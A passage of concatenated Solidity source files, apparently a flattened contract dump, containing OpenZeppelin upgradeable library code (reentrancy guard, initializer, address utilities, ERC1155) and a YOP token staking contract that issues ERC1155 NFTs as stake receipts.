interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165Upgradeable.supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "../security/BasePauseableUpgradeable.sol"; import "../interfaces/IYOPRewards.sol"; import "../interfaces/IAccessControlManager.sol"; import "../interfaces/IStaking.sol"; /// @notice This contract will stake (lock) YOP tokens for a period of time. While the tokens are locked in this contract, users will be able to claim additional YOP tokens (from the community emission as per YOP tokenomics). /// Users can stake as many times as they want, but each stake can't be modified/extended once it is created. /// For each stake, the user will recive an ERC1155 NFT token as the receipt. These NFT tokens can be transferred to other to still allow users to use the locked YOP tokens as a collateral. /// When the NFT tokens are transferred, all the remaining unclaimed rewards will be transferred to the new owner as well. contract Staking is IStaking, ERC1155Upgradeable, BasePauseableUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; event Staked( address indexed _user, uint256 indexed _tokenId, uint248 indexed _amount, uint8 _lockPeriod, uint256 _startTime ); event Unstaked( address indexed _user, uint256 indexed _tokenId, uint248 indexed _amount, uint8 _lockPeriod, uint256 _startTime ); /// @notice Emitted when the contract URI is updated event StakingContractURIUpdated(string _contractURI); /// @notice Emitted when the access control manager is updated event AccessControlManagerUpdated(address indexed _accessControlManager); /// @notice Emitted when staking limit is updated event StakingLimitUpdated(uint256 indexed _newLimit); /// @dev represent each stake struct Stake { // the duration of the stake, in number of months uint8 lockPeriod; // amount of YOP tokens to stake uint248 amount; // when the stake is started uint256 startTime; // when the last time the NFT is transferred. This is useful to help us track how long an account has hold the token uint256 lastTransferTime; } uint8 public constant MAX_LOCK_PERIOD = 60; uint256 public constant SECONDS_PER_MONTH = 2629743; // 1 month/30.44 days address public constant YOP_ADDRESS = 0xAE1eaAE3F627AAca434127644371b67B18444051; /// @notice The name of the token string public name; /// @notice The symbol of the token string public symbol; /// @notice The URL for the storefront-level metadata string public contractURI; /// @notice Used by OpenSea for admin access of the collection address public owner; // the minimum amount for staking uint256 public minStakeAmount; // the total supply of "working balance". The "working balance" of each stake is calculated as amount * lockPeriod. uint256 public totalWorkingSupply; // all the stake positions Stake[] public stakes; // the address of the YOPRewards contract address public yopRewards; // the address of the AccessControlManager contract address public accessControlManager; // stakes for each account mapping(address => uint256[]) internal stakesForAddress; // ownership of the NFTs mapping(uint256 => address) public owners; // cap for staking uint256 public stakingLimit; // solhint-disable-next-line no-empty-blocks constructor() {} /// @notice Initialize the contract. /// @param _governance the governance address /// @param _gatekeeper the gatekeeper address /// @param _yopRewards the address of the yop rewards contract /// @param _uri the base URI for the token function initialize( string memory _name, string memory _symbol, address _governance, address _gatekeeper, address _yopRewards, string memory _uri, string memory _contractURI, address _owner, address _accessControlManager ) external virtual initializer { __Staking_init( _name, _symbol, _governance, _gatekeeper, _yopRewards, _uri, _contractURI, _owner, _accessControlManager ); } // solhint-disable-next-line func-name-mixedcase function __Staking_init( string memory _name, string memory _symbol, address _governance, address _gatekeeper, address _yopRewards, string memory _uri, string memory _contractURI, address _owner, address _accessControlManager ) internal onlyInitializing { __ERC1155_init(_uri); __BasePauseableUpgradeable_init(_governance, _gatekeeper); __Staking_init_unchained(_name, _symbol, _yopRewards, _contractURI, _owner, _accessControlManager); } // solhint-disable-next-line func-name-mixedcase function __Staking_init_unchained( string memory _name, string memory _symbol, address _yopRewards, string memory _contractURI, address _owner, address _accessControlManager ) internal onlyInitializing { require(_yopRewards != address(0), "!input"); require(_owner != address(0), "!input"); name = _name; symbol = _symbol; yopRewards = _yopRewards; owner = _owner; stakingLimit = type(uint256).max; _updateContractURI(_contractURI); _updateAccessControlManager(_accessControlManager); } /// @notice Set the minimum amount of tokens for staking /// @param _minAmount The minimum amount of tokens function setMinStakeAmount(uint256 _minAmount) external onlyGovernance { minStakeAmount = _minAmount; } /// @notice Set the limit of staking. /// @param _limit The limit value. It is the limit of the total working balance (combined value of number of tokens and stake duration) function setStakingLimit(uint256 _limit) external onlyGovernance { if (stakingLimit != _limit) { stakingLimit = _limit; emit StakingLimitUpdated(_limit); } } /// @dev Set the contractURI for store front metadata. Can only be called by governance. /// @param _contractURI URL of the metadata function setContractURI(string memory _contractURI) external onlyGovernance { _updateContractURI(_contractURI); } function setAccessControlManager(address _accessControlManager) external onlyGovernance { _updateAccessControlManager(_accessControlManager); } /// @notice Create a new staking position /// @param _amount The amount of YOP tokens to stake /// @param _lockPeriod The locking period of the stake, in months /// @return The id of the NFT token that is also the id of the stake function stake(uint248 _amount, uint8 _lockPeriod) external whenNotPaused returns (uint256) { return _mintStake(_amount, _lockPeriod, _msgSender()); } /// @notice Unstake a single staking position that is owned by the caller after it's unlocked, and transfer the unlocked tokens to the _to address /// @param _stakeId The id of the staking NFT token, and owned by the caller function unstakeSingle(uint256 _stakeId, address _to) external whenNotPaused { _burnSingle(_stakeId, _to); } /// @notice Unstake all the unlocked stakes the caller currently has and transfer all the tokens to _to address in a single transfer. /// This will be more gas efficient if the caller has multiple stakes that are unlocked. /// @param _to the address that will receive the tokens function unstakeAll(address _to) external whenNotPaused { _burnAll(_to); } /// @notice Lists the is of stakes for a user /// @param _user The user address /// @return the ids of stakes function stakesFor(address _user) external view returns (uint256[] memory) { return stakesForAddress[_user]; } /// @notice Check the working balance of an user address. /// @param _user The user address /// @return The value of working balance function workingBalanceOf(address _user) external view returns (uint256) { uint256 balance = 0; uint256[] memory stakeIds = stakesForAddress[_user]; for (uint256 i = 0; i < stakeIds.length; i++) { balance += _workingBalanceOfStake(stakes[stakeIds[i]]); } return balance; } /// @notice Get the working balance for the stake with the given stake id. /// @param _stakeId The id of the stake /// @return The working balance, calculated as stake.amount * stake.lockPeriod function workingBalanceOfStake(uint256 _stakeId) external view returns (uint256) { if (_stakeId < stakes.length) { Stake memory s = stakes[_stakeId]; return _workingBalanceOfStake(s); } return 0; } function _workingBalanceOfStake(Stake memory _stake) internal pure returns (uint256) { return _stake.amount * _stake.lockPeriod; } function _isUnlocked(Stake memory _stake) internal view returns (bool) { return _getBlockTimestamp() > (_stake.startTime + _stake.lockPeriod * SECONDS_PER_MONTH); } function _getUnlockedStakeIds(uint256[] memory _stakeIds) internal view returns (uint256[] memory) { // solidity doesn't allow changing the size of memory arrays dynamically, so have to use this function to build the array that only contains stake ids that are unlocked uint256[] memory temp = new uint256[](_stakeIds.length); uint256 counter; for (uint256 i = 0; i < _stakeIds.length; i++) { Stake memory s = stakes[_stakeIds[i]]; // find all the unlocked stakes first and store them in an array if (_isUnlocked(s)) { temp[counter] = _stakeIds[i]; counter++; } } // copy the array to change the size uint256[] memory unlocked; if (counter > 0) { unlocked = new uint256[](counter); for (uint256 j = 0; j < counter; j++) { unlocked[j] = temp[j]; } } return unlocked; } /// @dev This function is invoked by the ERC1155 implementation. It will be called everytime when tokens are minted, transferred and burned. /// We add implementation for this function to perform the common bookkeeping tasks, like update the working balance, update ownership mapping etc. function _beforeTokenTransfer( address, address _from, address _to, uint256[] memory _ids, uint256[] memory, bytes memory ) internal override { for (uint256 i = 0; i < _ids.length; i++) { uint256 tokenId = _ids[i]; Stake storage s = stakes[tokenId]; s.lastTransferTime = _getBlockTimestamp(); uint256 balance = _workingBalanceOfStake(s); if (_from != address(0)) { totalWorkingSupply -= balance; _removeValue(stakesForAddress[_from], tokenId); owners[tokenId] = address(0); } if (_to != address(0)) { totalWorkingSupply += balance; stakesForAddress[_to].push(tokenId); owners[tokenId] = _to; } else { // this is a burn, reset the fields of the stake record delete stakes[tokenId]; } } } /// @dev For testing function _getBlockTimestamp() internal view virtual returns (uint256) { // solhint-disable-next-line not-rely-on-time return block.timestamp; } /// @dev For testing function _getYOPAddress() internal view virtual returns (address) { return YOP_ADDRESS; } function _removeValue(uint256[] storage _values, uint256 _val) internal { uint256 i; for (i = 0; i < _values.length; i++) { if (_values[i] == _val) { break; } } for (; i < _values.length - 1; i++) { _values[i] = _values[i + 1]; } _values.pop(); } function _updateAccessControlManager(address _accessControlManager) internal { // no check on the parameter as it can be address(0) if (accessControlManager != _accessControlManager) { accessControlManager = _accessControlManager; emit AccessControlManagerUpdated(_accessControlManager); } } function _updateContractURI(string memory _contractURI) internal { contractURI = _contractURI; emit StakingContractURIUpdated(_contractURI); } function _mintStake( uint248 _amount, uint8 _lockPeriod, address _to ) internal returns (uint256) { require(_amount > minStakeAmount, "!amount"); require(_lockPeriod > 0 && _lockPeriod <= MAX_LOCK_PERIOD, "!lockPeriod"); require(IERC20Upgradeable(_getYOPAddress()).balanceOf(_msgSender()) >= _amount, "!balance"); require((totalWorkingSupply + _amount * _lockPeriod) <= stakingLimit, "limit reached"); if (accessControlManager != address(0)) { require(IAccessControlManager(accessControlManager).hasAccess(_to, address(this)), "!access"); } // issue token id uint256 tokenId = stakes.length; // calculate the rewards for the token. // This only needs to be called when NFT tokens are minted/burne. It doesn't need to be called again when NFTs are transferred as the balance of the token and the totalBalance are not changed when tokens are transferred // This needs to be called before the stakes array is updated as otherwise the workingBalanceOfStake will return a value. IYOPRewards(yopRewards).calculateStakingRewards(tokenId); // record the stake Stake memory s = Stake({ lockPeriod: _lockPeriod, amount: _amount, startTime: _getBlockTimestamp(), lastTransferTime: _getBlockTimestamp() }); stakes.push(s); // transfer the the tokens to this contract and mint an NFT token IERC20Upgradeable(_getYOPAddress()).safeTransferFrom(_msgSender(), address(this), _amount); bytes memory data; _mint(_to, tokenId, 1, data); emit Staked(_to, tokenId, _amount, _lockPeriod, _getBlockTimestamp()); return tokenId; } function _burnSingle(uint256 _stakeId, address _to) internal { require(_to != address(0), "!input"); require(balanceOf(_msgSender(), _stakeId) > 0, "!stake"); Stake memory s = stakes[_stakeId]; uint256 startTime = s.startTime; uint248 amount = s.amount; uint8 lockPeriod = s.lockPeriod; require(_isUnlocked(s), "locked"); // This only needs to be called when NFT tokens are minted/burne. It doesn't need to be called again when NFTs are transferred as the balance of the token and the totalBalance are not changed when tokens are transferred uint256[] memory stakeIds = new uint256[](1); stakeIds[0] = _stakeId; (uint256 rewardsAmount, ) = IYOPRewardsV2(yopRewards).claimRewardsForStakes(stakeIds); // burn the NFT _burn(_msgSender(), _stakeId, 1); // transfer the tokens to _to IERC20Upgradeable(_getYOPAddress()).safeTransfer(_to, amount + rewardsAmount); emit Unstaked(_msgSender(), _stakeId, amount, lockPeriod, startTime); } function _burnAll(address _to) internal { require(_to != address(0), "!input"); uint256[] memory stakeIds = stakesForAddress[_msgSender()]; uint256[] memory unlockedIds = _getUnlockedStakeIds(stakeIds); require(unlockedIds.length > 0, "!unlocked"); (uint256 toTransfer, ) = IYOPRewardsV2(yopRewards).claimRewardsForStakes(unlockedIds); uint256[] memory amounts = new uint256[](unlockedIds.length); for (uint256 i = 0; i < unlockedIds.length; i++) { amounts[i] = 1; Stake memory s = stakes[unlockedIds[i]]; uint256 startTime = s.startTime; uint248 amount = s.amount; uint8 lockPeriod = s.lockPeriod; toTransfer += amount; emit Unstaked(_msgSender(), unlockedIds[i], amount, lockPeriod, startTime); } // burn the NFTs _burnBatch(_msgSender(), unlockedIds, amounts); // transfer the tokens to _to IERC20Upgradeable(_getYOPAddress()).safeTransfer(_to, toTransfer); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol"; struct StrategyInfo { uint256 activation; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } interface IVault is IERC20, IERC20Permit { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256); function activation() external view returns (uint256); function rewards() external view returns (address); function managementFee() external view returns (uint256); function gatekeeper() external view returns (address); function governance() external view returns (address); function creator() external view returns (address); function strategyDataStore() external view returns (address); function healthCheck() external view returns (address); function emergencyShutdown() external view returns (bool); function lockedProfitDegradation() external view returns (uint256); function depositLimit() external view returns (uint256); function lastReport() external view returns (uint256); function lockedProfit() external view returns (uint256); function totalDebt() external view returns (uint256); function token() external view returns (address); function totalAsset() external view returns (uint256); function availableDepositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); function pricePerShare() external view returns (uint256); function debtOutstanding(address _strategy) external view returns (uint256); function creditAvailable(address _strategy) external view returns (uint256); function expectedReturn(address _strategy) external view returns (uint256); function strategy(address _strategy) external view returns (StrategyInfo memory); function strategyDebtRatio(address _strategy) external view returns (uint256); function setRewards(address _rewards) external; function setManagementFee(uint256 _managementFee) external; function setGatekeeper(address _gatekeeper) external; function setStrategyDataStore(address _strategyDataStoreContract) external; function setHealthCheck(address _healthCheck) external; function setVaultEmergencyShutdown(bool _active) external; function setLockedProfileDegradation(uint256 _degradation) external; function setDepositLimit(uint256 _limit) external; function sweep(address _token, uint256 _amount) external; function addStrategy(address _strategy) external returns (bool); function migrateStrategy(address _oldVersion, address _newVersion) external returns (bool); function revokeStrategy() external; /// @notice deposit the given amount into the vault, and return the number of shares function deposit(uint256 _amount, address _recipient) external returns (uint256); /// @notice burn the given amount of shares from the vault, and return the number of underlying tokens recovered function withdraw( uint256 _shares, address _recipient, uint256 _maxLoss ) external returns (uint256); function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); } interface IBoostedVault { function totalBoostedSupply() external view returns (uint256); function boostedBalanceOf(address _user) external view returns (uint256); function updateBoostedBalancesForUsers(address[] calldata _users) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155Upgradeable.sol"; import "./IERC1155ReceiverUpgradeable.sol"; import "./extensions/IERC1155MetadataURIUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable { using AddressUpgradeable for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ function __ERC1155_init(string memory uri_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri_); } function __ERC1155_init_unchained(string memory uri_) internal onlyInitializing { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC1155Upgradeable).interfaceId || interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); 